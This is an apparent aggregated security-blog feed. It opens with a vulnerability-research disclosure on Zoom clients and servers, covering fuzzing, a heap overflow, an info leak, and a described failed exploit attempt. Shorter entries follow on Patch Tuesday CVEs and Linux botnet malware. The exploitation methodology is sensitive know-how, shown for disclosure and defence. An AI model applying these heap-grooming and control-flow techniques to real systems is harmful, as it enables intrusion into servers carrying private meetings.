Zoom clients support several communication features other than meetings that are available to a user’s Zoom Contacts. A Zoom Contact is a user that another user has added as a contact using the Zoom user interface. Both users must consent before they become Zoom Contacts. Afterwards, the users can send text messages to one another outside of meetings and start channels for persistent group conversations. Also, if either user hosts a meeting, they can invite the other user in a manner that is similar to a phone call: the other user is immediately notified and they can join the meeting with a single click. These features represent the zero-click attack surface of Zoom. Note that this attack surface is only available to attackers that have convinced their target to accept them as a contact. Likewise, meetings are part of the one-click attack surface only for Zoom Contacts, as other users need to click several times to enter a meeting.

That said, it’s likely not that difficult for a dedicated attacker to convince a target to join a Zoom call even if it takes multiple clicks, and the way some organizations use Zoom presents interesting attack scenarios. For example, many groups host public Zoom meetings, and Zoom supports a paid Webinar feature where large groups of unknown attendees can join a one-way video conference. It could be possible for an attacker to join a public meeting and target other attendees. Zoom also relies on a server to transmit audio and video streams, and end-to-end encryption is off by default. It could be possible for an attacker to compromise Zoom’s servers and gain access to meeting data.

Zoom Messages

I started out by looking at the zero-click attack surface of Zoom. Loading the Linux client into IDA, it appeared that a great deal of its server communication occurred over XMPP. Based on strings in the binary, it was clear that XMPP parsing was performed using a library called gloox. I fuzzed this library using AFL and other coverage-guided fuzzers, but did not find any vulnerabilities. I then looked at how Zoom uses the data provided over XMPP.

XMPP traffic seemed to be sent over SSL, so I located the SSL_write function in the binary based on log strings, and hooked it using Frida. The output contained many XMPP stanzas (messages) as well as other network traffic, which I analyzed to determine how XMPP is used by Zoom. XMPP is used for most communication between Zoom clients outside of meetings, such as messages and channels, and is also used for signaling (call set-up) when a Zoom Contact invites another Zoom Contact to a meeting.

I spent some time going through the client binary trying to determine how the client processes XMPP, for example, if a stanza contains a text message, how is that message extracted and displayed in the client. Even though the Zoom client contains many log strings, this was challenging, and I eventually asked my teammate Ned Williamson for help locating symbols for the client. He discovered that several old versions of the Android Zoom SDK contained symbols. While these versions are roughly five years old, and do not present a complete view of the client as they only include some libraries that it uses, they were immensely helpful in understanding how Zoom uses XMPP.

Application-defined tags can be added to gloox’s XMPP parser by extending the class StanzaExtension and implementing the method newInstance to define how the tag is converted into a C++ object. Parsed XMPP stanzas are then processed using the MessageHandler class. Application developers extend this class, implementing the method handleMessage with code that performs application functionality based on the contents of the stanza received. Zoom implements its XMPP handling in CXmppIMSession::handleMessage, which is a large function that is an entrypoint to most messaging and calling features. The final processing stage of many XMPP tags is in the class ns_zoom_messager::CZoomMMXmppWrapper, which contains many methods starting with ‘On’ that handle specific events. I spent a fair amount of time analyzing these code paths, but didn’t find any bugs. Interestingly, Thijs Alkemade and Daan Keuper released a write-up of their Pwn2Own bug after I completed this research, and it involved a vulnerability in this area.

RTP Processing

Afterwards, I investigated how Zoom clients process audio and video content. Like all other video conferencing systems that I have analyzed, it uses Real-time Transport Protocol (RTP) to transport this data. Based on log strings included in the Linux client binary, Zoom appears to use a branch of WebRTC for audio. Since I have looked at this library a great deal in previous posts, I did not investigate it further. For video, Zoom implements its own RTP processing and uses a custom underlying codec named Zealot (libzlt).

Analyzing the Linux client in IDA, I found what I believed to be the video RTP entrypoint, and fuzzed it using afl-qemu. This resulted in several crashes, mostly in RTP extension processing. I tried modifying the RTP sent by a client to reproduce these bugs, but it was not received by the device on the other side and I suspected the server was filtering it. I tried to get around this by enabling end-to-end encryption, but Zoom does not encrypt RTP headers, only the contents of RTP packets (as is typical of most RTP implementations).

Curious about how Zoom server filtering works, I decided to set up Zoom On-Premises Deployment. This is a Zoom product that allows customers to set up on-site servers to process their organization’s Zoom calls. This required a fair amount of configuration, and I ended up reaching out to the Zoom Security Team for assistance. They helped me get it working, and I greatly appreciate their contribution to this research.

Zoom On-Premises Deployments consist of two hosts: the controller and the Multimedia Router (MMR). Analyzing the traffic to each server, it became clear that the MMR is the host that transmits audio and video content between Zoom clients. Loading the code for the MMR process into IDA, I located where RTP is processed, and it indeed parses the extensions as a part of its forwarding logic and verifies them correctly, dropping any RTP packets that are malformed.

The code that processes RTP on the MMR appeared different than the code that I fuzzed on the device, so I set up fuzzing on the server code as well. This was challenging, as the code was in the MMR binary, which was not compiled as a relocatable binary (more on this later). This meant that I couldn’t load it as a library and call into specific offsets in the binary as I usually do to fuzz binaries that don’t have source code available. Instead, I compiled my own fuzzing stub that called the function I wanted to fuzz as a relocatable that defined fopen, and loaded it using LD_PRELOAD when executing the MMR binary. Then my code would take control of execution the first time that the MMR binary called fopen, and was able to call the function being fuzzed.

This approach has a lot of downsides, the biggest being that the fuzzing stub can’t accept command line parameters, execution is fairly slow and a lot of fuzzing tools don’t honor LD_PRELOAD on the target. That said, I was able to fuzz with code coverage using Mateusz Jurczyk’s excellent DrSanCov, with no results.

Packet Processing

When analyzing RTP traffic, I noticed that both Zoom clients and the MMR server process a great deal of packets that didn’t appear to be RTP or XMPP. Looking at the SDK with symbols, one library appeared to do a lot of serialization: libssb_sdk.so. This library contains a great deal of classes with the methods load_from and save_to defined with identical declarations, so it is likely that they all implement the same virtual class.

One parameter to the load_from methods is an object of class msg_db_t,  which implements a buffer that supports reading different data types. Deserialization is performed by load_from methods by reading needed data from the msg_db_t object, and serialization is performed by save_to methods by writing to it.

After hooking a few save_to methods with Frida and comparing the written output to data sent with SSL_write, it became clear that these serialization classes are part of the remote attack surface of Zoom. Reviewing each load_from method, several contained code similar to the following (from ssb::conf_send_msg_req::load_from).


msg_db, &this->str_len, consume_bytes, error_out);

  str_len = this->str_len;

  if ( str_len )


    mem = operator new[](str_len);

    out_len = 0;

    this->str_mem = mem;


read_str_with_len(msg_db, mem, &out_len);

read_str_with_len is defined as follows.

int __fastcall ssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::

read_str_with_len(msg_db_t* msg, signed __int8 *mem,

unsigned int *len)


  if ( !msg->invalid )


ssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::operator>>(msg, len, (int)len, 0);

    if ( !msg->invalid )


      if ( *len )


read(msg, mem, *len, 0);



  return msg;


Note that the string buffer is allocated based on a length read from the msg_db_t buffer, but then a second length is read from the buffer and used as the length of the string that is read. This means that if an attacker could manipulate the contents of the msg_db_t buffer, they could specify the length of the buffer allocated, and overwrite it with any length of data (up to a limit of 0x1FFF bytes, not shown in the code snippet above).

I tested this bug by hooking SSL_write with Frida, and sending the malformed packet, and it caused the Zoom client to crash on a variety of platforms. This vulnerability was assigned CVE-2021-34423 and fixed on November 24, 2021.

Looking at the code for the MMR server, I noticed that ssb::conf_send_msg_req::load_from, the class the vulnerability occurs in was also present on the MMR server. Since the MMR forwards Zoom meeting traffic from one client to another, it makes sense that it might also deserialize this packet type. I analyzed the MMR code in IDA, and found that deserialization of this class only occurs during Zoom Webinars. I purchased a Zoom Webinar license, and was able to crash my own Zoom MMR server by sending this packet. I was not willing to test a vulnerability of this type on Zoom’s public MMR servers, but it seems reasonably likely that the same code was also in Zoom’s public servers.

Looking further at deserialization, I noticed that all deserialized objects contain an optional field of type ssb::dyna_para_table_t, which is basically a properties table that allows a map of name strings to variant objects to be included in the deserialized object. The variants in the table are implemented by the structure ssb::variant_t, as follows.

struct variant{

char type;

short length;

var_data data;


union var_data{

        char i8;

        char* i8_ptr;

        short i16;

        short* i16_ptr;

        int i32;

        int* i32_ptr;

        long long i64;

        long long i64*;


The value of the type field corresponds to the width of the variant data (1 for 8-bit, 2 for 16-bit, 3 for 32-bit and 4 four 64-bit). The length field specifies whether the variant is an array and its length. If it has the value 0, the variant is not an array, and a numeric value is read from the data field based on its type. If the length field has any other value, the data field is cast to a pointer, an array of that size is read.

My immediate concern with this implementation was that it could be prone to type confusion. One possibility is that a numeric value could be confused with an array pointer, which would allow an attacker to create a variant with a pointer that they specify. However, both the client and MMR perform very aggressive type checks on variants they treat as arrays. Another possibility is that a pointer could be confused with a numeric value. This could allow an attacker to determine the address of a buffer they control if the value is ever returned to the attacker. I found a few locations in the MMR code where a pointer is converted to a numeric value in this way and logged, but nowhere that an attacker could obtain the incorrectly cast value. Finally, I looked at how array data is handled, and I found that there are several locations where byte array variants are converted to strings, however not all of them checked that the byte array has a null terminator. This meant that if these variants were converted to strings, the string could contain the contents of uninitialized memory.

Most of the time, packets sent to the MMR by one user are immediately forwarded to other users without being deserialized by the server. For some bugs, this is a useful feature, for example, it is what allows CVE-2021-34423 discussed earlier to be triggered on a client. However, an information leak in variants needs to occur on the server to be useful to an attacker. When a client deserializes an incoming packet, it is for use on the device, so even if a deserialized string contains sensitive information, it is unlikely that this information will be transmitted off the device. Meanwhile, the MMR exists expressly to transmit information from one user to another, so if a string gets deserialized, there is a reasonable chance that it gets sent to another user, or alters server behavior in an observable way. So, I tried to find a way to get the server to deserialize a variant and convert it to a string. I eventually figured out that when a user logs into Zoom in a browser, the browser can’t process serialized packets, so the MMR must convert them to strings so they can be accessed through web requests. Indeed, I found that if I removed the null terminator from the user_name variant, it would be converted to a string and sent to the browser as the user’s display name.

The vulnerability was assigned CVE-2021-34424 and fixed on November 24, 2021. I tested it on my own MMR as well as Zoom’s public MMR, and it worked and returned pointer data in both cases.

Exploit Attempt

I attempted to exploit my local MMR server with these vulnerabilities, and while I had success with portions of the exploit, I was not able to get it working. I started off by investigating the possibility of creating a client that could trigger each bug outside of the Zoom client, but client authentication appeared complex and I lacked symbols for this part of the code, so I didn’t pursue this as I suspected it would be very time-consuming. Instead, I analyzed the exploitability of the bugs by triggering them from a Linux Zoom client hooked with Frida.

I started off by investigating the impact of heap corruption on the MMR process. MMR servers run on CentOS 7, which uses a modern glibc heap, so exploiting heap unlinking did not seem promising. I looked into overwriting the vtable of a C++ object allocated on the heap instead.


I wrote several Frida scripts that hooked malloc on the server, and used them to monitor how incoming traffic affects allocation. It turned out that there are not many ways for an attacker to control memory allocation on an MMR server that are useful for exploiting this vulnerability. There are several packet types that an attacker can send to the server that cause memory to be allocated on the heap and then freed when processing is finished, but not as many where the attacker can trigger both allocation and freeing. Moreover, the MMR server performs different types of processing in separate threads that use unique heap arenas, so many areas of the code where this type of allocation is likely to occur, such as connection management, allocate memory in a different heap arena than the thread where the bug occurs. The only such allocations I could find that were made in the same arena were related to meeting set-up: when a user joins a meeting, certain objects are allocated on the heap, which are then freed when they leave the meeting. Unfortunately, these allocations are difficult to automate as they require many unique users accounts in order for the allocation to be performed repeatedly, and allocation takes an observable amount of time (seconds).

I eventually wrote Frida scripts that looked for free chunks of unusual sizes that bordered C++ objects with vtables during normal MMR operation. There were a few allocation sizes that met this criteria, and since CVE-2021-34423 allows for the size of the buffer that is overflowed to be specified by the attacker, I was able to corrupt the memory of the adjacent object. Unfortunately, heap verification was very robust, so in most cases, the MMR process would crash due to a heap verification error before a virtual call was made on the corrupted object. I eventually got around this by focusing on allocation sizes that are small enough to be stored in fastbins by the heap, as heap chunks that are stored in fastbins do not contain verifiable heap metadata. Chunks of size 58 turned out to be the best choice, and by triggering the bug with an allocation of that size, I was able to control the pointer of a virtual call about one in ten times I triggered the bug.

The next step was to figure out where to point the pointer I could control, and this turned out to be more challenging than I expected. The MMR process did not have ASLR enabled when I did this research (it was enabled in version 4.6.20211128.136, which was released on November 28, 2021), so I was hoping to find a series of locations in the binary that this call could be directed to that would eventually end in a call to execv with controllable parameters, as the MMR initialization code contains many calls to this function. However, there were a few features of the server that made this difficult. First, only the MMR binary was loaded at a fixed location. The heap and system libraries were not, so only the actual MMR code was available without bypassing ASLR. Second, if the MMR crashes, it has an exponential backoff which culminates in it respawning every hour on the hour. This limits how many exploit attempts an attacker has. It is realistic that an attacker might spend days or even weeks trying to exploit a server, but this still limits them to hundreds of attempts. This means that any exploit of an MMR server would need to be at least somewhat reliable, so certain techniques that require a lot of attempts, such as allocating a large buffer on the heap and trying to guess its location were not practical.

I eventually decided that it would be helpful to allocate a buffer on the heap with controlled contents and determine its location. This would make the exploit fairly reliable in the case that the overflow successfully leads to a virtual call, as the buffer could be used as a fake vtable, and also contain strings that could be used as parameters to execv. I tried using CVE-2021-34424 to leak such an address, but wasn’t able to get this working.

This bug allows the attacker to provide a string of any size, which then gets copied out of bounds up until a null character is encountered in memory, and then returned. It is possible for CVE-2021-34424 to return a heap pointer, as the MMR maps the heap that gets corrupted at a low address that does not usually contain null bytes, however, I could not find a way to force a specific heap pointer to be allocated next to the string buffer that gets copied out of bounds. C++ objects used by the MMR tend to be virtual objects, so the first 64 bits of most object allocations are a vtable which contains null bytes, ending the copy. Other allocated structures, especially larger ones, tend to contain non-pointer data. I was able to get this bug to return heap pointers by specifying a string that was less than 64 bits long, so the nearby allocations were sometimes the pointers themselves, but allocations of this size are so frequent it was not possible to ascertain what heap data they pointed to with any accuracy.

One last idea I had was to use another type confusion bug to leak a pointer to a controllable buffer. There is one such bug in the processing of deserialized ssb::kv_update_req objects. This object’s ssb::dyna_para_table_t table contains a variant named nodeid which represents the specific Zoom client that the message refers to. If an attacker changes this variant to be of type array instead of a 32-bit integer, the address of the pointer to this array will be logged as a string. I tried to combine CVE-2021-34424 with this bug, hoping that it might be possible for the leaked data to be this log string that contains pointer information. Unfortunately, I wasn’t able to get this to work because of timing: the log entry needs to be logged at almost exactly the same time as the bug is triggered so that the log data is still in memory, and I wasn't able to send packets fast enough. I suspect it might be possible for this to work with improved automation, as I was relying on clients hooked with Frida and browsers to interact with the Zoom server, but I decided not to pursue this as it would require tooling that would take substantial effort to develop.


I performed a security analysis of Zoom and reported two vulnerabilities. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021.

The vulnerabilities in Zoom’s MMR server are especially concerning, as this server processes meeting audio and video content, so a compromise could allow an attacker to monitor any Zoom meetings that do not have end-to-end encryption enabled. While I was not successful in exploiting these vulnerabilities, I was able to use them to perform many elements of exploitation, and I believe that an attacker would be able to exploit them with sufficient investment. The lack of ASLR in the Zoom MMR process greatly increased the risk that an attacker could compromise it, and it is positive that Zoom has recently enabled it. That said, if vulnerabilities similar to the ones that I reported still exist in the MMR server, it is likely that an attacker could bypass it, so it is also important that Zoom continue to improve the robustness of the MMR code.

It is also important to note that this research was possible because Zoom allows customers to set up their own servers, meanwhile no other video conferencing solution with proprietary servers that I have investigated allows this, so it is unclear how these results compare to other video conferencing platforms.

Overall, while the client bugs that were discovered during this research were comparable to what Project Zero has found in other videoconferencing platforms, the server bugs were surprising, especially when the server lacked ASLR and supports modes of operation that are not end-to-end encrypted.

There are a few factors that commonly lead to security problems in videoconferencing applications that contributed to these bugs in Zoom. One is the huge amount of code included in Zoom. There were large portions of code that I couldn’t determine the functionality of, and many of the classes that could be deserialized didn’t appear to be commonly used. This both increases the difficulty of security research and increases the attack surface by making more code that could potentially contain vulnerabilities available to attackers. In addition, Zoom uses many proprietary formats and protocols which meant that understanding the attack surface of the platform and creating the tooling to manipulate specific interfaces was very time consuming. Using the features we tested also required paying roughly $1500 USD in licensing fees. These barriers to security research likely mean that Zoom is not investigated as often as it could be, potentially leading to simple bugs going undiscovered.  

Still, my largest concern in this assessment was the lack of ASLR in the Zoom MMR server. ASLR is arguably the most important mitigation in preventing exploitation of memory corruption, and most other mitigations rely on it on some level to be effective. There is no good reason for it to be disabled in the vast majority of software. There has recently been a push to reduce the susceptibility of software to memory corruption vulnerabilities by moving to memory-safe languages and implementing enhanced memory mitigations, but this relies on vendors using the security measures provided by the platforms they write software for. All software written for platforms that support ASLR should have it (and other basic memory mitigations) enabled.

The closed nature of Zoom also impacted this analysis greatly. Most video conferencing systems use open-source software, either WebRTC or PJSIP. While these platforms are not free of problems, it’s easier for researchers, customers and vendors alike to verify their security properties and understand the risk they present because they are open. Closed-source software presents unique security challenges, and Zoom could do more to make their platform accessible to security researchers and others who wish to evaluate it. While the Zoom Security Team helped me access and configure server software, it is not clear that support is available to other researchers, and licensing the software was still expensive. Zoom, and other companies that produce closed-source security-sensitive software should consider how to make their software accessible to security researchers.

3 Biggest Threats to the Retail Industry

14 January 2022 at 13:28

Retail is one of the top industries targeted by cyber attacks and physical attacks. VerSprite's Threat Intelligence Group have been tracking patterns of cyber attacks and physical attacks and compiled our findings into one attack tree. In this article, VerSprite uses an attack tree to map the top methods, motives, and threat organizations the financial industry should be aware of.

The post 3 Biggest Threats to the Retail Industry appeared first on VerSprite.

Threat Roundup for January 7 to January 14

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 7 and Jan. 14. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

January 2022 Patch Tuesday: Multiple Critical Vulnerabilities and Microsoft Exchange Remote Code Execution

14 January 2022 at 12:37

Kicking off the first Patch Tuesday of 2022, CrowdStrike continues to provide research and analysis regarding critically rated vulnerabilities and the subsequent patches offered by Microsoft. In this month’s updates we see the lion’s share of updates directed at Microsoft’s Windows and Extended Security Update (ESU) products, while other patches target lesser-known components of Microsoft’s operating system. What is noticeably missing this month is a patch for any in-the-wild exploited vulnerabilities, as there have been several in recent months. 

We also discuss three Microsoft Exchange remote code execution vulnerabilities that received updates. If you recall, Microsoft Exchange was involved in a massive exploitation campaign in early 2021. Prioritizing these patches should be strongly considered if your organization relies on this product. 

New Patches for 97 Vulnerabilities

This month’s Patch Tuesday update includes fixes for 97 vulnerabilities. Combined with the 29 vulnerabilities that received out-of-band (OOB) updates at the start of January, this first month of 2022 has a total of 126 patched updates. On its own, that number isn’t too surprising, given the Log4j vulnerabilities SecOps staff have to deal with (see the CrowdStrike Log4j Resource Center for more information) but the updates from Microsoft are certainly needed, as SecOps still remain pressed for time when it comes to mitigation and remediation. 

Similar to risk analysis for the past three months, the top two attack types for Microsoft products continue to be privilege elevation and remote code execution. The third primary attack type alternates between information disclosure and denial of service.

However, unlike the last two months of updates — where patches were spread more evenly across product families — this month we see the large majority of updates concentrated on Windows products and Extended Security Updates (ESU) products. Consider focusing your patching based on the family of Windows products your organization uses.

Figure 1. Breakdown of January 2022 Patch Tuesday attack types

Figure 2. Breakdown of January 2022 Patch Tuesday affected product families

Remote Code Execution and Elevation of Privilege Dominate as Attack Types for January’s Critical Vulnerabilities

This month, a number of vulnerabilities have a CVSS score of 8.8 or higher affecting various Microsoft products. Remember, the criticality of a CVSS score alone should not be the only determining factor in your prioritization process. A combination of various data points, attacker information and news reports could change how severe or critical that score may be for your organization. (Falcon Spotlight™ ExPRT.AI can help your staff quickly identify what’s truly critical and relevant to your organization.) However, CrowdStrike analysis shows that among this month’s critically ranked vulnerabilities, two attack types — remote code execution and privilege escalation — are particularly attractive methods, allowing attackers to gain a foothold in affected systems.

CVE-2022-21849: This remote code execution vulnerability affects the Internet Key Exchange. It can be leveraged with an unauthenticated attacker that is able to run the IPSec Service. It’s been given the most Critical CVSS score of 9.8. 

CVE-2022-21907: This vulnerability affecting the HTTP Protocol Stack is also ranked as Critical this month. This vulnerability impacts the Windows Operating System in Windows 10 and Windows Server 2019, but the HTTP Trailer Support feature — which is the vulnerable component — is not enabled by default. There may be additional manual validation that your SecOps staff should perform. It should be noted that this vulnerability is remotely exploitable on older versions of the operating system, which could open the door for self-propagating malware to exploit it.

CVE-2022-21901: This vulnerability is exploited via privilege escalation. Attackers exploit this Windows Hyper-V vulnerability by executing a specially crafted application on a vulnerable system. If successful, an attacker could potentially interact with processes of another Hyper-V guest hosted on the same Hyper-V host.

The remaining vulnerabilities listed in the table below are executed via a Remote Procedure Call (RPC) Runtime for CVE-2022-21922 and a remote code execution attack type on Microsoft Office for CVE-2022-21840. For the latter vulnerability, it’s worth noting that this vulnerability affects Microsoft Office versions for macOS, Apple’s operating system. At the time of this month’s Microsoft Patch Tuesday release, there are no currently available patches for Apple Systems running Microsoft Office products.

Rank CVSS Score CVE Description
Critical 9.8 CVE-2022-21849 Windows IKE Extension Remote Code Execution Vulnerability
Critical 9.8 CVE-2022-21907 HTTP Protocol Stack Remote Code Execution Vulnerability
Critical 9 CVE-2022-21901 Windows Hyper-V Elevation of Privilege Vulnerability
Critical 8.8 CVE-2022-21922 Remote Procedure Call Runtime Remote Code Execution Vulnerability
Critical 8.8 CVE-2022-21840 Microsoft Office Remote Code Execution Vulnerability

Microsoft Exchange Remote Code Execution Vulnerabilities

Microsoft Exchange Server is a known objective for attackers. When vulnerabilities affecting this product are released, SecOps staff often face the pressure of patching them as soon as possible, especially if these servers are exposed to the internet. This month’s updates include fixes for three remote code execution vulnerabilities, all with a CVSS Score of 9.0 (see the table below). 

As we’re approaching the one year anniversary of the massive exploitation campaign that occurred against Microsoft Exchange Server, it’s important to keep an eye out for potential attack vectors. It’s paramount for SecOps teams to be able to identify vulnerable instances and patch them the first opportunity they have.

Of note, all of the CVEs listed in the table below have been flagged as the attack vector being “adjacent.” This means that this particular attack type cannot be executed across the internet, but it could be successful if an attacker has gained a foothold on any other machine in the network.

Rank CVSS Score CVE Description
Critical 9 CVE-2022-21846 Microsoft Exchange Server Remote Code Execution Vulnerability
Critical 9 CVE-2022-21855 Microsoft Exchange Server Remote Code Execution Vulnerability
Critical 9 CVE-2022-21969 Microsoft Exchange Server Remote Code Execution Vulnerability

Remote Desktop Protocol Vulnerabilities

Three remote code execution vulnerabilities received updates this month on Microsoft’s Remote Desktop Protocol. Two of them affect the client (CVE-2022-21850 and CVE-2022-21851), and one affects Remote Desktop Protocol (CVE-2022-21893).

To exploit CVE-2022-21850 and CVE-2022-21851, an attacker would need to persuade an authenticated user to connect to a malicious remote desktop server, enabling the attacker to then exploit the vulnerabilities via remote code execution. 

Similarly, to succeed in exploiting CVE-2022-21893, an attacker would need to convince the victim to connect to a vulnerable server, which would enable the attacker to read or tamper with clipboard contents on the victim’s machine to read the file system.

We reported two similar vulnerabilities in November 2021, and two information disclosure vulnerabilities and another remote code execution vulnerability in our December 2021 update.

Rank CVSS Score CVE Description
Critical 8.8 CVE-2022-21850 Remote Desktop Client Remote Code Execution Vulnerability
Critical 8.8 CVE-2022-21851


Remote Desktop Client Remote Code Execution Vulnerability
Critical 8.8 CVE-2022-21893 Remote Desktop Protocol Remote Code Execution Vulnerability

Other Critical and Important Vulnerabilities to Consider

Rank CVSS Score CVE Description
Critical 8.8 CVE-2022-21920 Windows Kerberos Elevation of Privilege Vulnerability
Important 7.0 CVE-2022-21882 Win32k Elevation of Privilege Vulnerability
Important 7.0 CVE-2022-21887 Win32k Elevation of Privilege Vulnerability
Important 5.5 CVE-2022-21876 Win32k Information Disclosure Vulnerability
Important 5.5 CVE-2022-21906 Windows Defender Application Control Security Feature Bypass Vulnerability
Important 4.4 CVE-2022-21921 Windows Defender Application Control Security Feature Bypass Vulnerability

Patch and Review Your Mitigation Strategy 

A layered security approach — with a heavy emphasis on tools, programs and solutions that create efficiency and quicken response time — is key to a defensible security posture for your organization. Vulnerabilities are found in a wide variety of Microsoft products and platforms, with attackers diligently working on more creative ways to access valuable systems and information. 

This month’s focus on Windows and ESU products underscores the value of a robust mitigation strategy for vulnerabilities that affect your organization’s critical systems where patches are not available. 

Security and operations teams need layered security and tools that help prevent, detect and identify vulnerabilities and guide them through their patching and assessment process. A quick mitigation strategy will help to reduce the windows of opportunity for attackers, helping companies to remain as secure as possible and prevent any potential breach.

Learn More

Watch this video on Falcon Spotlight™ vulnerability management to see how you can quickly monitor and prioritize vulnerabilities within the systems and applications in your organization.

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article

Additional Resources 

Talos Takes Ep. #82: Log4j followed us in 2022

14 January 2022 at 15:16
By Jon Munshaw. The latest episode of Talos Takes is available now. Download this episode and subscribe to Talos Takes using the buttons below, or visit the Talos Takes page. It's a new year, but unfortunately, we're facing the same cybersecurity problems. Log4j followed us into the holidays,...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Source Newsletter (Jan. 13, 2022)

13 January 2022 at 19:00
Newsletter compiled by Jon Munshaw.Good afternoon, Talos readers.   Move out of the way, Log4j! Traditional malware is back with a bang in 2022. While Log4j is likely still occupying many defenders' minds, the bad guys are still out there doing not-Log4j things. We have new research out...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Linux-Targeted Malware Increases by 35% in 2021: XorDDoS, Mirai and Mozi Most Prevalent

13 January 2022 at 12:04
  • Malware targeting Linux systems increased by 35% in 2021 compared to 2020
  • XorDDoS, Mirai and Mozi malware families accounted for over 22% of Linux-targeted threats observed by CrowdStrike in 2021
  • Ten times more Mozi malware samples were observed in 2021 compared to 2020

Malware targeting Linux-based operating systems, commonly deployed in Internet of Things (IoT) devices, have increased by 35% in 2021 compared to 2020, according to current CrowdStrike threat telemetry, with the top three malware families accounting for 22% of all Linux-based IoT malware in 2021. 

XorDDoS, Mirai and Mozi are the most prevalent Linux-based malware families observed in 2021, with Mozi registering a significant tenfold increase in the number of in-the-wild samples in 2021 compared to 2020. The primary purpose of these malware families is to compromise vulnerable internet-connected devices, amass them into botnets, and use them to perform distributed denial of service (DDoS) attacks

Linux-based Malware and IoT

Linux powers most of today’s cloud infrastructure and web servers, yet it also powers mobile and IoT devices. It’s popular because it offers scalability, security features and a wide range of distributions to support multiple hardware designs and great performance on any hardware requirements.

With various Linux builds and distributions at the heart of cloud infrastructures, mobile and IoT, it presents a massive opportunity for threat actors. For example, whether using hardcoded credentials, open ports or unpatched vulnerabilities, Linux-running IoT devices are a low-hanging fruit for threat actors — and their en masse compromise can threaten the integrity of critical internet services. More than 30 billion IoT devices are projected to be connected to the internet by the end of 2025, creating a potentially very large attack surface for threats and cybercriminals to create massive botnets.

A botnet is a network of compromised devices connected to a remote command-and-control (C2) center. It functions as a small cog in the larger network, and can infect other devices. Botnets are often used for DDoS attacks, spamming targets, gaining remote control and performing CPU-intensive activities like cryptomining. DDoS attacks use multiple internet-connected devices to access a specific service or gateway, preventing legitimate traffic from passing through by consuming the entire bandwidth, causing it to crash. 

The 2016 Mirai botnet incident serves as a reminder that a large number of seemingly benign devices performing a DDoS attack can disrupt critical internet services, affecting both organizations and average users.  

Top Linux Threats in Today’s Landscape

Analyzing the current Linux threat landscape, the XorDDoS, Mirai and Mozi malware families and variants have emerged as the most prolific in 2021, accounting for over 22% of all IoT Linux-targeting malware.

XorDDoS: 123% Increase in Malware Samples

XorDDoS is a Linux trojan compiled for multiple Linux architectures, ranging from ARM to x86 and x64. Its name is derived from using XOR encryption in malware and network communication to the C2 infrastructure. 

When targeting IoT devices, the trojan is known to use SSH brute-forcing attacks to gain remote control on vulnerable devices.

Fig. 1- Docker’s official documentation (Click to enlarge)

On Linux machines, some variants of XorDDoS show that its operators scan and search for Docker servers with the 2375 port open. This port offers an unencrypted Docker socket and remote root passwordless access to the host, which attackers can abuse to get root access to the machine.

CrowdStrike researchers have found that the number of XorDDoS malware samples throughout 2021 has increased by almost 123% compared to 2020.

Fig. 2 – Falcon detection for Linux XorDDoS malware sample (Click to enlarge)

Mozi: 10 Times More Prevalent in 2021

Mozi is a peer-to-peer (P2P) botnet network that utilizes the distributed hash table (DHT) system, implementing its own extended DHT. The distributed and decentralized lookup mechanism provided by DHT enables Mozi to hide C2 communication behind a large amount of legitimate DHT traffic.

Fig. 3 – Credits: Kn0wledge

The use of DHT is interesting because it allows Mozi to quickly grow a P2P network. And, because it uses an extension over DHT, it’s not correlated with normal traffic, so detecting the C2 communication becomes difficult.

Mozi infects systems by brute-forcing SSH and Telnet ports. It then blocks those ports so that it is not overwritten by other malicious actors or malware.

Fig. 4 – Falcon detection for Linux Mozi malware sample (Click to enlarge)

Mirai: The Common Ancestor

Mirai malware has made a name for itself in the last few years, especially after its developer published Mirai’s source code. Similar to Mozi, Mirai abuses weak protocols and weak passwords, such as Telnet, to compromise devices using brute-forcing attacks.

With multiple Mirai variants emerging since its source code became public, the Linux trojan can be considered the common ancestor to many of today’s Linux DDoS malware. While most variants add onto existing Mirai features or implement different communication protocols, at their core they share the same Mirai DNA.

Some of the most prevalent variants tracked by CrowdStrike researchers involve Sora, IZIH9  and Rekai. Compared to 2020, the numbers of identified samples for all three variants have increased by 33%, 39% and  83% respectively in 2021.

Fig. 5 – Falcon detection for Linux Mirai malware sample (Click to enlarge)

CrowdStrike Protection for Linux

Linux is one of the primary operating systems for many business-critical applications. As Linux servers can be found on premises and in private and public clouds, protecting them requires a solution that provides runtime protection and visibility for all Linux hosts, regardless of location.

The CrowdStrike Falcon® platform protects Linux workloads, including containers, running in all environments, from public and private clouds to on-premises and hybrid data centers. Using machine learning, artificial intelligence, behavior-based indicators of attack (IOAs) and custom hash blocking to defend Linux workloads against malware and sophisticated threats, the Falcon platform delivers complete visibility and context into any attack on Linux workloads.

Indicators of Compromise (IOCs)

File SHA256
Mozi 4790754ccd895626c67f0d63736577d363de7e7684b624d584615d83532d1414
XorDDoS f85f13bf67bba755ec5f4c46d760f460a2dc137494d7edf64aeb22ddc2f30760
Mirai 4f2f4d758d13a9cb2fd4c71e8015ba622b2b4c1c26ceb1114b258d6e3c174010

Additional Resources

Beers with Talos, Ep. #114: And then there were two...

13 January 2022 at 15:22
Beers with Talos (BWT) Podcast episode No. 114 is now available. Download this episode and subscribe to Beers with Talos: Apple Podcasts  Google Podcasts  Spotify  StitcherRecorded Dec. 9, 2021. If iTunes and Google Play aren't your thing, click here. We joked...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Zero Trust Integrations Are Expanding in the CrowdStrike Partner Ecosystem

13 January 2022 at 07:08

